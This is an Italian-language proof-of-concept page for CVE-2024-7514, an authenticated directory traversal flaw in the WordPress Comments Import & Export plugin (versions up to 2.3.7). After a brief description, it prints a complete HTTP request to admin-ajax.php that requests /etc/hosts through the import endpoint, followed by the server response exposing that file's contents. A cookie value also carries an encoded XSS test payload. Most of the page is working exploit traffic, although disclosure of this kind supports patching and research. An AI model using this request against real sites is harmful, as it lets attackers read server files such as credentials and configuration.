randomrobbiebf/cve-2024-7514WordPress Comments Import & Export <= 2.3.7 - Autenticato (Autore+) Lettura arbitraria di file tramite Directory Traversal
WordPress Comments Import & Export <= 2.3.7 - Lettura arbitraria di file da parte di utenti autenticati (Autore+) tramite Directory Traversal
Il plugin WordPress Comments Import & Export per WordPress è vulnerabile alla lettura arbitraria di file a causa di una validazione insufficiente del percorso del file durante il processo di importazione dei commenti, nelle versioni fino alla 2.3.7 inclusa. Ciò consente ad attaccanti autenticati, con accesso di livello Autore o superiore, di leggere il contenuto di
Type: plugin
CVSS Score: 6.5
CVE: CVE-2024-7514
Link: https://downloads.wordpress.org/plugin/comments-import-export-woocommerce.2.3.7.zip
Devi avere un wt_nonce valido perché funzioni.
POST /wp-admin/admin-ajax.php?action=product_comments_csv_import_request&step=3 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?import=product_comments_csv&step=2&merge=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 116
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7Cf959d914959a79c3549c68a5a26370a966936f9e4a762431794351b288c5eb78; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; tk_ai=jetpack%3AQgOBg5M2jU%2B4Uorj9bZH7TTo; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-10-01%2019%3A20%3A14%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%3Futm_source%3Dwse%26utm_medium%3Dsettings%26utm_campaign%3Dorderactionsxmllink%26__jsn%3D1%2527%2520%253Cscript%253Ealert%28%2527XSS%2527%29%253C%2Fscript%253E%25%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-10-01%2018%3A37%3A42%7C%7C%7Cep%3Dhttp%3A%2F%2Fkubernetes.docker.internal%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dutm%7C%7C%7Csrc%3Dwse%7C%7C%7Cmdm%3Dsettings%7C%7C%7Ccmp%3Dorderactionsxmllink%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D5%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A131.0%29%20Gecko%2F20100101%20Firefox%2F131.0; PHPSESSID=dd74ceb3c42bd8f880d4a9c518eafe7d; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728811858%7Cxz76DEICO0cGZ4f5NipE6YAtQQS9T1lxrxdsL0Q6ufu%7C7343e8a0bf653c33d89b2f96e3637a4249fd36bcaae0ff672151121068eea755; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1728639058
file=/etc/hosts&wt_nonce=183f391f2b&mapping=[1,2]&profile=test_profile&eval_field[0]=some_value&start_pos=0&end_pos=
HTTP/1.1 200 OK
Date: Fri, 11 Oct 2024 10:41:16 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Access-Control-Allow-Origin: http://kubernetes.docker.internal
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 1321
<!--WC_START-->{"import_results":[{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"::1\\tlocalhost ip6-localhost ip6-loopback\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"fe00::0\\tip6-localnet\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff00::0\\tip6-mcastprefix\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::1\\tip6-allnodes\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"ff02::2\\tip6-allrouters\"}"},{"post_id":"Not parsed","status":"failed","reason":"No comment content set for new product comments.","comment_link":"\/#comment-","cmd_title":"{\"127.0.0.1\\tlocalhost\":\"172.20.0.4\\t1c54388ce47a\"}"}],"processed_posts":[],"post_orphans":[]}<!--WC_END-->